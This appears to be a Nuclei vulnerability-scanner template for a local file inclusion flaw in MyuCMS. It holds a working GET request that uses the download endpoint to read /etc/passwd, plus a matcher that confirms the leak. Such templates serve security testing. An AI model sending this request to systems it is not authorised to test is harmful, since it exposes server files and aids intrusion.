id: myucms-lfr

info:
  name: MyuCMS - Local File Inclusion
  author: princechaddha
  severity: high
  description: MyuCMS is vulnerable to local file inclusion.
  reference:
    - https://blog.csdn.net/yalecaltech/article/details/104908257
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: myucms,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 490a0046304402205ae35a1d9cc11b5ea749292315b9f90bb08f5d36c043827fbdf4f415c4bf1f2d0220669418b3d41e7068d5054b7a1adc39ed2901f41d2180ab0cdf54cc77d95e28c0:922c64590222798bb761d5b6d8e72950